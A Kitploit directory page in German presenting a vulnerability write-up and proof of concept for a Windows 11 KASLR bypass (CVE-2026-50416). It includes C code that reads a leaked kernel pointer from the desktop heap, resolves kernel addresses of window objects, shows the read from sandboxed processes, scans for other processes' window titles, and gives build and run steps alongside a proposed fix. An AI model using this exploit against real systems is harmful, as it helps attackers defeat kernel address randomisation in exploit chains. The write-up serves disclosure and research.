Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: Windows 11 KASLR-Umgehung | Kitploit
Tools/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
Exploit-FrameworksSpeicherforensikSchwachstellenanalyseExploitationInformationsbeschaffungCTFBinäranalysePapers & ForschungLernen & Bildung
Labs & Praxis
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: Windows 11 KASLR-Umgehung

Repository anzeigenWebseite
4451vor 23 TagenVon Kitploit geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-50416: Ein QWORD zu viel im Desktop-Heap

Im Windows 11 Insider-Build 10.0.28020.2149 legte die User-Mode-Zuordnung des Win32k-Desktop-Heaps einen rohen Kernel-Session-Pool-Zeiger bei Offset 0x100 offen.

Der Lesezugriff selbst ist beinahe beleidigend klein:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

In meiner Testsitzung lieferte das:

root@kitploit:~
0xffffc600dcc00040

Der Wert blieb über Prozesse hinweg auf demselben Desktop identisch und änderte sich nach einem Neustart. Ein Prozess, der auf einem anderen Desktop gestartet wurde, erhielt einen anderen Wert, da er einen anderen Desktop-Heap hatte. Aus diesem einen QWORD gewann der PoC die Kernel-Basis des Desktop-Heaps und nutzte anschließend user32!gSharedInfo, um die Kernel-Adressen aktiver Fensterobjekte abzuleiten.

Derselbe Lesezugriff funktionierte aus Low Integrity, AppContainer, einer LPAC-Konfiguration mit null Fähigkeiten sowie einem Low-Integrity-AppContainer-Kindprozess mit null Fähigkeiten.

Der Desktop-Heap soll geteilt sein. Der Kernel-Zeiger ist es nicht.

Der Desktop-Heap aus dem User Mode

Win32k speichert USER-Objekte wie Fenster, Menüs, Klassen, Hooks und zugehörige Metadaten in Desktop-Heaps. Jeder Desktop besitzt seinen eigenen Heap. Ein Teil dieses Heaps wird in Prozesse abgebildet, die mit dem Desktop verbunden sind, damit der User Mode gemeinsamen GUI-Zustand lesen kann, ohne den Kernel für jedes Feld zu befragen.

Im getesteten x64-Build ist die User-Mode-Zuordnung über die Client-Daten des aktuellen Thread-TEB erreichbar:

root@kitploit:~
PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

Die Offsets sind buildspezifisch, aber der Weg ist einfach:

root@kitploit:~
GS:[0x30]
    -> TEB
    -> ClientInfo bei TEB + 0x800
    -> ClientInfo[5]
    -> User-Mode-Desktop-Heap-Zuordnung

Der PoC ruft VirtualQuery auf die zurückgegebene Adresse auf und zeichnet die zugeordnete Region sowie deren Schutz auf. Bisher ist nichts schiefgelaufen. Eine schreibgeschützte Desktop-Heap-Zuordnung ist normales Win32k-Verhalten.

Das Problem beginnt 256 Bytes weiter.

Der Zeiger bei Offset 0x100

Der Haupt-PoC liest ein QWORD aus dem zugeordneten Heap:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Der Wert bestand die grundlegenden Prüfungen, die von einer Kernel-Virtualadresse auf dem getesteten System erwartet werden:

  • Kanonische High-Bits
  • Acht-Byte-Ausrichtung
  • Keiner der bekannten Sentinel-Werte, die vom PoC herausgefiltert werden
  • Stabil, während Fenster erstellt und zerstört wurden
  • Identisch in getesteten Prozessen auf demselben Desktop
  • Unterschiedlich nach einem Neustart
  • Unterschiedlich auf einem anderen Desktop

Der Stabilitätstest erstellt STATIC-, BUTTON- und EDIT-Fenster, liest den Wert vor der Erstellung, liest ihn erneut, während die Fenster existieren, zerstört sie und liest ihn ein drittes Mal.

root@kitploit:~
ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

Alle drei Lesezugriffe lieferten denselben Wert. Die Fensterzuordnungsaktivität bewegte ihn nicht. Dieses Verhalten ist konsistent mit einem Feld in den Desktop-Heap-Metadaten und nicht mit einem kurzlebigen Objektzeiger.

Die prozessübergreifende Eigenschaft ist ebenso wichtig. Zwei Prozesse, die mit demselben Desktop verbunden sind, beobachten denselben geleakten Wert, da sie auf denselben Desktop-Heap blicken. Nach einem Neustart weist KASLR der Sitzung eine neue Adresse zu. Ein Kindprozess auf einem anderen Desktop beobachtet einen anderen Zeiger, da dieser Desktop einen anderen Heap besitzt.

Das verleiht dem Leak eine nützliche Identität:

root@kitploit:~
gleicher Boot + gleicher Desktop      -> gleicher Zeiger
gleicher Boot + anderer Desktop       -> anderer Zeiger
neuer Boot                            -> anderer Zeiger

Wiederherstellung der Kernel-Basis des Desktop-Heaps

Im getesteten Build sitzt der geleakte Zeiger 0x40 Bytes über der Kernel-Basis des Desktop-Heaps, die der PoC verwendet:

root@kitploit:~
ULONG64 kernel_desktop_heap_base = leaked - 0x40;

Mit dem aufgezeichneten Sitzungswert:

root@kitploit:~
geleakter Zeiger            = 0xffffc600dcc00040
Kernel-Desktop-Heap-Basis   = 0xffffc600dcc00000

Diese Beziehung ist buildspezifisch. Für den während der Tests verwendeten Build liefert sie den kernelseitigen Anker, der für den nächsten Schritt benötigt wird.

Ein Zeiger ist bereits nützlich. Eine Adresse für ein ausgewähltes Objekt ist viel nützlicher.

Auflösung eines Fensterobjekts über gSharedInfo

user32.dll exportiert gSharedInfo, das die USER-Handle-Eintragsliste und die Größe jedes Eintrags offenlegt:

root@kitploit:~
typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

Ein HWND enthält einen Index in die USER-Handle-Tabelle. Der PoC nimmt die unteren 16 Bits des Handles, geht zum passenden Eintrag und liest den dort gespeicherten Desktop-Heap-Offset.

root@kitploit:~
ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

Derselbe Offset benennt das Objekt in beiden Zuordnungen:

root@kitploit:~
BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

Die vollständige Berechnung lautet also:

root@kitploit:~
Kernel-Desktop-Heap-Basis = desktop_heap[0x100] - 0x40
Handle-Index              = HWND & 0xffff
Heap-Offset               = aheList[Handle-Index].offset
Kernel-Fensteradresse     = Kernel-Desktop-Heap-Basis + Heap-Offset

Der PoC erstellt sechs Fensterklassen und führt die Berechnung für jede davon durch:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

Für jedes Objekt gibt er das HWND, den Handle-Index, die User-Mode-Objektadresse, den Heap-Offset und die Kernel-Adresse aus.

root@kitploit:~
HWND
  -> niedriger 16-Bit-Handle-Index
  -> gSharedInfo-Handle-Eintrag
  -> Desktop-Heap-Offset
  -> Kernel-Desktop-Heap-Basis + Offset
  -> Kernel-Adresse dieses Fensterobjekts

Dies ist der Teil, der die Offenlegung von einem losen Kernel-Zeiger in ein Adress-Orakel für ausgewählte USER-Objekte auf dem getesteten Desktop-Heap verwandelt.

Warum die Sandbox-Tests wichtig sind

Der Desktop-Heap kommt über eine gemeinsame Zuordnung. Integritätsstufen und AppContainer-Einschränkungen schreiben die Inhalte dieser Zuordnung nicht für jeden Prozess neu. Wenn der Prozess den Desktop-Heap erhält, erhält er auch das QWORD bei 0x100 mit.

Der Sandbox-PoC startet Kindprozesse in mehreren Kontexten und lässt jeden Kindprozess den Wert aus seinem eigenen TEB und seiner eigenen Desktop-Heap-Zuordnung lesen.

KontextKonfigurationErgebnis
Medium IntegrityStandard-BenutzerprozessGeleakt
Low IntegrityToken-Integrität auf Low gesenktGeleakt
AppContainerNull angeforderte FähigkeitenGeleakt
LPAC-KonfigurationAlle Anwendungspakete Opt-out-Richtlinie, null angeforderte FähigkeitenGeleakt
Low Integrity AppContainerLow IL plus AppContainer, null angeforderte FähigkeitenGeleakt
Alternativer DesktopKindprozess einem neuen Desktop zugewiesenAnderer Wert geleakt

Die ersten fünf Kindprozesse waren mit dem Standard-Desktop verbunden und lieferten dieselbe Adresse. Der Kindprozess auf dem alternativen Desktop lieferte eine andere Adresse, da er einen anderen Desktop-Heap erhielt.

Die Kindprozess-Ausgabe hat ein kompaktes Format, damit der Elternprozess Ergebnisse vergleichen kann:

root@kitploit:~
RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

Der strengere Helfer zeichnet auch den Token-Zustand und die Fähigkeitsanzahl auf:

root@kitploit:~
RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234

Das wichtige Detail ist nicht, dass der Kindprozess eine spezielle Win32k-API aufrufen kann. Er braucht keine. Sobald die Zuordnung vorhanden ist, ist der Leak ein normaler User-Mode-Speicherlesezugriff.

Keine Fenstererstellung erforderlich

Ein separater Helfer führt den Lesezugriff ohne Aufruf von CreateWindow durch.

Er prüft den Desktop-Heap-Zeiger, liest desktop_heap[0x100], lädt explizit user32.dll, prüft die Zuordnung erneut und erstellt dennoch nie ein Fenster. Ein weiterer rendererähnlicher Kindprozess lädt user32.dll, führt denselben Lesezugriff durch und beendet sich, ohne ein Fenster zu erstellen.

Das nützliche Ergebnis ist unkompliziert:

root@kitploit:~
Es muss kein Fensterobjekt erstellt werden, bevor das geleakte QWORD gelesen wird.

Der Leak gehört zur Desktop-Heap-Zuordnung selbst, nicht zu einem Fenster, das vom angreifenden Prozess erstellt wurde.

Der rendererähnliche Kindprozess

supporting_proof_remote_trigger.c erstellt einen Low-Integrity-AppContainer-Kindprozess mit null angeforderten Fähigkeiten. Der Kindprozess erledigt nur eine kleine Menge Arbeit:

root@kitploit:~
LoadLibraryA("user32.dll");

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Aufgezeichnete Ausgabe:

root@kitploit:~
RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated

Das demonstriert den Lesezugriff aus einer rendererähnlichen Token-Konfiguration. Ein separater Browser-Speicherkorruptionsfehler, der bereits nativen Code in einem solchen Prozess ermöglicht, bräuchte keine weitere Informationsoffenlegung, bevor dieser Desktop-Heap-Zeiger gelesen wird.

Was sonst noch in der Zuordnung sichtbar war

Sobald ich einen zuverlässigen Zeiger hatte, scannte ich die zugeordnete Region, um zu sehen, was sonst noch vorhanden war.

Zusätzliche kernelartige Werte

Der Scanner fand pro Lauf sechs bis zehn zusätzliche eindeutige QWORD-Werte, die dieselben kanonischen Adress- und Ausrichtungsprüfungen bestanden. Die genaue Anzahl änderte sich mit der Desktop-Aktivität. Offset 0x100 war der stabile primäre Leak, aber nicht der einzige Wert mit Kernel-Adressform in der Zuordnung.

Fenstertitel anderer Prozesse

Der Sensibledaten-Helfer zählt Top-Level-Fenster mit EnumWindows auf, sammelt deren besitzende PIDs und Titel und durchsucht dann die Desktop-Heap-Zuordnung nach denselben Titeln als UTF-16-Zeichenketten.

Im aufgezeichneten Lauf fand er zwanzig eindeutige Titel, die anderen Prozessen gehörten. Die Beispiele umfassten Browser-Tabs, Discord, Explorer, Spotify und System-Tray-Fenster.

Das Programm gibt einen Titel nur aus, wenn beide Bedingungen erfüllt sind:

  1. Die Zeichenkette existiert in der zugeordneten Desktop-Heap-Region.
  2. EnumWindows meldet ein Fenster mit diesem Titel und einer besitzenden PID, die sich vom Testprozess unterscheidet.

Das macht die Ausgabe leicht verifizierbar, anstatt sich auf zufällige druckbare Zeichenketten im Speicher zu verlassen.

Prozess-ID-Vorkommen

Der Helfer scannt auch DWORD-Werte in der Zuordnung. Ein Wert wird nur gezählt, wenn:

  1. Er wie eine plausible PID aussieht.
  2. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) für ihn erfolgreich ist.
  3. Die PID auch ein Fenster besitzt, das von EnumWindows gefunden wurde.

Der aufgezeichnete Lauf fand 605 passende DWORD-Vorkommen. Das ist eine Zählung von Vorkommen im Heap, nicht 605 eindeutige Prozesse. Dieselbe PID kann mehr als einmal erscheinen.

Passwort-Editiertext

Der Helfer erstellt ein EDIT-Steuerelement mit ES_PASSWORD, setzt dessen Text auf SecretPassword123 und durchsucht die zugeordnete Region nach dem SecretP-Präfix. Es wurde im getesteten Lauf nicht gefunden.

Die Zuordnung legte also Titel, PID-Vorkommen und kernelartige Werte offen, während die getestete Passwortzeichenkette dort nicht erschien.

Was der Leak während der Ausnutzung ändert

Bei einem Win32k-Speicherkorruptionsfehler ist das Wissen, dass ein Objekt existiert, nicht dasselbe wie das Wissen, wo es im Kernel-Speicher lebt.

Ohne die Offenlegung muss der Angreifer mit einer unbekannten Desktop-Heap-Basis und unbekannten Objektadressen umgehen. Mit der Offenlegung wird die Adressseite zu:

root@kitploit:~
ein QWORD lesen
0x40 subtrahieren
den Ziel-Handle-Eintrag lesen
dessen Heap-Offset addieren

Für ein ausgewähltes HWND hat der Angreifer nun die entsprechende Kernel-Desktop-Heap-Adresse im getesteten Build. Das kann helfen bei:

  • Verfolgung eines Zielobjekts durch Heap-Aktivität
  • Unterscheidung des beabsichtigten Objekts von benachbarten Zuordnungen
  • Berechnung der Adresse, die von einer separaten Lese-, Schreib- oder Korruptionsprimitive verwendet wird
  • Überprüfung, ob die Heap-Formung das erwartete Layout erzeugt hat
  • Entfernung des Raten der Desktop-Heap-Adresse aus einer Win32k-Exploit-Kette

Der Leak löst das Adressproblem. Heap-Formung, Objektersetzung und die Speicherkorruptionsprimitive bleiben separate Teile des Exploits.

Diese Trennung ist wichtig. KASLR stoppt keine Speicherkorruption. Es macht zuverlässiges Targeting schwieriger. Dieses QWORD entfernt diese Unsicherheit für die Desktop-Heap-Region, die der PoC verwendet.

Reproduktion

Getestete Umgebung

root@kitploit:~
Windows 11 Insider Build 10.0.28020.2149
Standard-Benutzer
Medium-Integritäts-Baseline

Dateien

  • kaslr_bypass_poc.c: Haupt-PoC für Leak und Fensteradress-Auflösung
  • kaslr_sandbox_proof.c: Tests für Medium IL, Low IL, AppContainer, LPAC-Konfiguration, Low IL AppContainer und alternativen Desktop
  • supporting_proof_no_window.c: Lesezugriff ohne Erstellung eines Fensters
  • supporting_proof_no_caps_lpac.c: AppContainer- und LPAC-Konfigurationen mit null Fähigkeiten
  • supporting_proof_sensitive_data.c: Titel, PID-Vorkommen, zusätzlicher Zeiger-Scan und Passwortfeld-Prüfung
  • supporting_proof_exploitability.c: sechs Fensterklassen und Kernel-Adressberechnungen
  • supporting_proof_remote_trigger.c: rendererähnlicher Low-IL-AppContainer-Kindprozess
  • compile.bat: Build-Menü

Kompilieren

Ausführen:

root@kitploit:~
compile.bat

Ziel aus dem Menü auswählen.

Der Haupt-PoC kann auch direkt aus einer Visual-Studio-Entwickler-Eingabeaufforderung kompiliert werden:

root@kitploit:~
cl /O2 /Fe:kaslr_bypass_poc.exe kaslr_bypass_poc.c /link user32.lib ntdll.lib

Zeiger validieren

Den Haupt-PoC zweimal ohne Neustart ausführen:

root@kitploit:~
kaslr_bypass_poc.exe
kaslr_bypass_poc.exe

Der Zeiger bei desktop_heap + 0x100 sollte in beiden Läufen identisch sein.

Ein zweites Terminal öffnen und von einem anderen Prozess auf demselben Desktop ausführen. Der Wert sollte erneut übereinstimmen.

Neu starten und wiederholen. Der Wert sollte sich ändern.

Sandbox-Test ausführen

root@kitploit:~
kaslr_sandbox_proof.exe

Der Test startet jeden Kindprozess, erfasst dessen Ausgabe und vergleicht die geleakten Werte. Kindprozesse auf dem Standard-Desktop sollten denselben Wert melden. Der Kindprozess auf dem alternativen Desktop sollte einen anderen Wert melden.

Die fokussierten Helfer ausführen

root@kitploit:~
supporting_proof_no_window.exe
supporting_proof_no_caps_lpac.exe
supporting_proof_sensitive_data.exe
supporting_proof_exploitability.exe
supporting_proof_remote_trigger.exe

Jeder Helfer isoliert einen Teil des Ergebnisses, sodass er ohne Durchsicht der Ausgabe des vollständigen PoC reproduziert werden kann.

Fix

Die User-Mode-Zuordnung sollte keine rohen Kernel-Virtualadressen enthalten.

Der kleinste Fix besteht darin, das Desktop-Heap-Header-Feld zu bereinigen, bevor die Seite im User Mode sichtbar wird. Windows verwendet bereits einen undurchsichtigen 0x6000000000-Wert für andere Desktop-Heap-Zeigerfelder, sodass dieselbe Art der Ersetzung hier verwendet werden könnte, wenn der User Mode das Feld weiterhin benötigt.

Wenn der User Mode die Header-Seite nicht benötigt, ist der sauberere Fix, diese Seite nicht in der gemeinsamen Zuordnung offenzulegen.

Der Regressionstest ist einfach: Prozesse bei Medium IL, Low IL, AppContainer und LPAC-Konfigurationen erstellen, den Desktop-Heap abbilden und jede kanonische Kernel-Adresse ablehnen, die im benutzersichtbaren Header gefunden wird.

Abschluss

Die gesamte Kette beginnt mit einem gewöhnlichen Lesezugriff aus einer schreibgeschützten Zuordnung:

root@kitploit:~
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

Dieses QWORD identifiziert den Kernel-Desktop-Heap. gSharedInfo liefert den pro-Objekt-Offset. Zusammen verwandeln sie ein User-Mode-HWND in die entsprechende Kernel-Adresse im getesteten Build.

Hier versteckt sich kein komplizierter Trigger. Windows legte den Desktop-Heap dorthin, wo der User Mode ihn lesen konnte, und ließ dann einen Kernel-Zeiger in dem Teil zurück, den es teilte.

Ein QWORD war genug.

Tool herunterladen